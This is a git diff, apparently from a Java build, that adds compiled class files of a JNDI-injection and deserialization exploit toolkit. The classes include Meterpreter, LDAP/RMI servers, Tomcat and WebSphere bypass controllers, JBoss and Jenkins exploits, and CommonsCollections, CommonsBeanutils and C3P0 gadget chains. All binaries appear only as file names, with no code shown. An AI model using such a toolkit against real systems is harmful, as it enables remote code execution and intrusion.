diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock
index 37b4f02..9f11f10 100644
Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ
diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin
index 645b354..e84166d 100644
Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ
diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock
index b002ef8..1c5ef06 100644
Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ
diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin
index 92409fa..466d6dc 100644
Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ
diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock
index 3a82373..2626e99 100644
Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ
diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin
index 601df65..3fe1f3e 100644
Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ
diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock
index 988ff6c..bb62e4e 100644
Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ
diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe
index e83b4ba..545b886 100644
Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ
diff --git a/.idea/encodings.xml b/.idea/encodings.xml
index 1b2e955..da933a9 100644
--- a/.idea/encodings.xml
+++ b/.idea/encodings.xml
@@ -1,9 +1,8 @@
-
+
-
\ No newline at end of file
diff --git a/out/production/classes/Meterpreter.class b/out/production/classes/Meterpreter.class
new file mode 100644
index 0000000..003affc
Binary files /dev/null and b/out/production/classes/Meterpreter.class differ
diff --git a/out/production/classes/com/qi4l/jndi/HTTPServer$1.class b/out/production/classes/com/qi4l/jndi/HTTPServer$1.class
new file mode 100644
index 0000000..9c9e6cb
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/HTTPServer$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/HTTPServer.class b/out/production/classes/com/qi4l/jndi/HTTPServer.class
new file mode 100644
index 0000000..18e8ee7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/HTTPServer.class differ
diff --git a/out/production/classes/com/qi4l/jndi/LdapServer.class b/out/production/classes/com/qi4l/jndi/LdapServer.class
new file mode 100644
index 0000000..d95852b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/LdapServer.class differ
diff --git a/out/production/classes/com/qi4l/jndi/RMIServer$1.class b/out/production/classes/com/qi4l/jndi/RMIServer$1.class
new file mode 100644
index 0000000..3a33e66
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/RMIServer$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/RMIServer$MarshalOutputStream.class b/out/production/classes/com/qi4l/jndi/RMIServer$MarshalOutputStream.class
new file mode 100644
index 0000000..aa452fd
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/RMIServer$MarshalOutputStream.class differ
diff --git a/out/production/classes/com/qi4l/jndi/RMIServer.class b/out/production/classes/com/qi4l/jndi/RMIServer.class
new file mode 100644
index 0000000..ee2a8d6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/RMIServer.class differ
diff --git a/out/production/classes/com/qi4l/jndi/Starter.class b/out/production/classes/com/qi4l/jndi/Starter.class
new file mode 100644
index 0000000..0872e56
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/Starter.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/BasicController.class b/out/production/classes/com/qi4l/jndi/controllers/BasicController.class
new file mode 100644
index 0000000..84a8de8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/BasicController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/GroovyBypassController.class b/out/production/classes/com/qi4l/jndi/controllers/GroovyBypassController.class
new file mode 100644
index 0000000..4088cca
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/GroovyBypassController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/LdapController.class b/out/production/classes/com/qi4l/jndi/controllers/LdapController.class
new file mode 100644
index 0000000..5d3847d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/LdapController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/LdapMapping.class b/out/production/classes/com/qi4l/jndi/controllers/LdapMapping.class
new file mode 100644
index 0000000..d6c26e5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/LdapMapping.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/PropertiesRefAddr.class b/out/production/classes/com/qi4l/jndi/controllers/PropertiesRefAddr.class
new file mode 100644
index 0000000..4dd2520
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/PropertiesRefAddr.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/SerializedDataController.class b/out/production/classes/com/qi4l/jndi/controllers/SerializedDataController.class
new file mode 100644
index 0000000..daadbad
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/SerializedDataController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$1.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$1.class
new file mode 100644
index 0000000..a3539dd
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$TomcatBypassHelper.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$TomcatBypassHelper.class
new file mode 100644
index 0000000..644065c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController$TomcatBypassHelper.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController.class
new file mode 100644
index 0000000..d82650d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatBypassController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$1.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$1.class
new file mode 100644
index 0000000..88e8bd9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$TomcatBypassHelper.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$TomcatBypassHelper.class
new file mode 100644
index 0000000..8db2744
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController$TomcatBypassHelper.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController.class b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController.class
new file mode 100644
index 0000000..9a3b959
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/TomcatJdbcController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController$1.class b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController$1.class
new file mode 100644
index 0000000..fcf901e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController.class b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController.class
new file mode 100644
index 0000000..ed7d5f8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/WebsphereBypassController.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/utils/AESUtils.class b/out/production/classes/com/qi4l/jndi/controllers/utils/AESUtils.class
new file mode 100644
index 0000000..1f16c1a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/utils/AESUtils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/controllers/ysoserial.class b/out/production/classes/com/qi4l/jndi/controllers/ysoserial.class
new file mode 100644
index 0000000..e396b04
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/controllers/ysoserial.class differ
diff --git a/out/production/classes/com/qi4l/jndi/enumtypes/GadgetType.class b/out/production/classes/com/qi4l/jndi/enumtypes/GadgetType.class
new file mode 100644
index 0000000..546bd47
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/enumtypes/GadgetType.class differ
diff --git a/out/production/classes/com/qi4l/jndi/enumtypes/PayloadType.class b/out/production/classes/com/qi4l/jndi/enumtypes/PayloadType.class
new file mode 100644
index 0000000..9995812
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/enumtypes/PayloadType.class differ
diff --git a/out/production/classes/com/qi4l/jndi/enumtypes/WebsphereActionType.class b/out/production/classes/com/qi4l/jndi/enumtypes/WebsphereActionType.class
new file mode 100644
index 0000000..100af2f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/enumtypes/WebsphereActionType.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exceptions/IncorrectParamsException.class b/out/production/classes/com/qi4l/jndi/exceptions/IncorrectParamsException.class
new file mode 100644
index 0000000..dcfdcc9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/IncorrectParamsException.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.class b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.class
new file mode 100644
index 0000000..b1d7c60
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedActionTypeException.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.class b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.class
new file mode 100644
index 0000000..5bb70ac
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedGadgetTypeException.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.class b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.class
new file mode 100644
index 0000000..9341c94
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exceptions/UnSupportedPayloadTypeException.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$1.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$1.class
new file mode 100644
index 0000000..475e5d0
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionHandlerContextImpl.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionHandlerContextImpl.class
new file mode 100644
index 0000000..74d3cee
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionHandlerContextImpl.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl$1.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl$1.class
new file mode 100644
index 0000000..ba0d030
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl.class
new file mode 100644
index 0000000..0cc5d7b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConnectionProviderContextImpl.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConsoleLogHandler.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConsoleLogHandler.class
new file mode 100644
index 0000000..e7ae40a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss$ConsoleLogHandler.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JBoss.class b/out/production/classes/com/qi4l/jndi/exploit/JBoss.class
new file mode 100644
index 0000000..cefceec
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JBoss.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JMXInvokeMBean.class b/out/production/classes/com/qi4l/jndi/exploit/JMXInvokeMBean.class
new file mode 100644
index 0000000..471feda
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JMXInvokeMBean.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPClassLoadingListener.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPClassLoadingListener.class
new file mode 100644
index 0000000..c59b262
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPClassLoadingListener.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPClient$MarshalOutputStream.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient$MarshalOutputStream.class
new file mode 100644
index 0000000..e0f0ab8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient$MarshalOutputStream.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPClient.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient.class
new file mode 100644
index 0000000..9b29384
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPClient.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$1.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$1.class
new file mode 100644
index 0000000..95ace41
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$2.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$2.class
new file mode 100644
index 0000000..0e735d1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$Dummy.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$Dummy.class
new file mode 100644
index 0000000..30f3507
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener$Dummy.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JRMPListener.class b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener.class
new file mode 100644
index 0000000..066f587
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JRMPListener.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JSF.class b/out/production/classes/com/qi4l/jndi/exploit/JSF.class
new file mode 100644
index 0000000..1a2dc1c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JSF.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI$1.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI$1.class
new file mode 100644
index 0000000..eeedcd5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI.class
new file mode 100644
index 0000000..737db2a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsCLI.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsListener.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsListener.class
new file mode 100644
index 0000000..cc0c29f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsListener.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/JenkinsReverse.class b/out/production/classes/com/qi4l/jndi/exploit/JenkinsReverse.class
new file mode 100644
index 0000000..84bcd60
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/JenkinsReverse.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit$RMIClient.class b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit$RMIClient.class
new file mode 100644
index 0000000..ace898b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit$RMIClient.class differ
diff --git a/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit.class b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit.class
new file mode 100644
index 0000000..671becb
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/exploit/RMIBindExploit.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver.class b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver.class
new file mode 100644
index 0000000..8fa427a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver2.class b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver2.class
new file mode 100644
index 0000000..93f7573
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/AspectJWeaver2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/BeanShell1.class b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell1.class
new file mode 100644
index 0000000..527ec55
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/BeanShell2.class b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell2.class
new file mode 100644
index 0000000..cd714c7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/BeanShell2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P0$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P0$PoolSource.class
new file mode 100644
index 0000000..e5351a1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P0$PoolSource.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P0.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P0.class
new file mode 100644
index 0000000..24df56e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P0.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P02$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P02$PoolSource.class
new file mode 100644
index 0000000..5e5ff32
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P02$PoolSource.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P02.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P02.class
new file mode 100644
index 0000000..b3976f5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P02.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P03$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P03$PoolSource.class
new file mode 100644
index 0000000..daba595
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P03$PoolSource.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P03.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P03.class
new file mode 100644
index 0000000..a1c15cc
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P03.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P04$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P04$PoolSource.class
new file mode 100644
index 0000000..2dc9817
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P04$PoolSource.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P04.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P04.class
new file mode 100644
index 0000000..cf6f3a9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P04.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P092$PoolSource.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P092$PoolSource.class
new file mode 100644
index 0000000..c2fa47a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P092$PoolSource.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/C3P092.class b/out/production/classes/com/qi4l/jndi/gadgets/C3P092.class
new file mode 100644
index 0000000..2de2566
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/C3P092.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Click1.class b/out/production/classes/com/qi4l/jndi/gadgets/Click1.class
new file mode 100644
index 0000000..ef19c5d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Click1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Clojure.class b/out/production/classes/com/qi4l/jndi/gadgets/Clojure.class
new file mode 100644
index 0000000..18e91de
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Clojure.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1.class
new file mode 100644
index 0000000..19e4ed1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.class
new file mode 100644
index 0000000..862df0b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.class
new file mode 100644
index 0000000..93249f4
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2.class
new file mode 100644
index 0000000..d7c270e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2183NOCC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2183NOCC.class
new file mode 100644
index 0000000..0f67a7b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2183NOCC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.class
new file mode 100644
index 0000000..5e8526a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2JDBC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.class
new file mode 100644
index 0000000..89b60ef
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3.class
new file mode 100644
index 0000000..aaa2d62
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3183.class
new file mode 100644
index 0000000..e8b74e6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils3183.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils4.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils4.class
new file mode 100644
index 0000000..7c024da
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils4.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils5.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils5.class
new file mode 100644
index 0000000..dbb870a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutils5.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.class
new file mode 100644
index 0000000..fa51f7b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.class
new file mode 100644
index 0000000..2d47ba8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.class
new file mode 100644
index 0000000..0d63523
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.class
new file mode 100644
index 0000000..cbf90e0
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource$1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource$1.class
new file mode 100644
index 0000000..9a777e4
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.class
new file mode 100644
index 0000000..28dd0a5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183$1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183$1.class
new file mode 100644
index 0000000..acff17b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.class
new file mode 100644
index 0000000..0f09e09
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections1.class
new file mode 100644
index 0000000..875668a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections10.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections10.class
new file mode 100644
index 0000000..c6b4e4d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections10.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections11.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections11.class
new file mode 100644
index 0000000..481bce0
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections11.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections12.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections12.class
new file mode 100644
index 0000000..ded95e6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections12.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections13.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections13.class
new file mode 100644
index 0000000..39ffdbd
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections13.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections2.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections2.class
new file mode 100644
index 0000000..86dbbda
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections3.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections3.class
new file mode 100644
index 0000000..f8205bb
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections3.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections4.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections4.class
new file mode 100644
index 0000000..e80be0a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections4.class differ
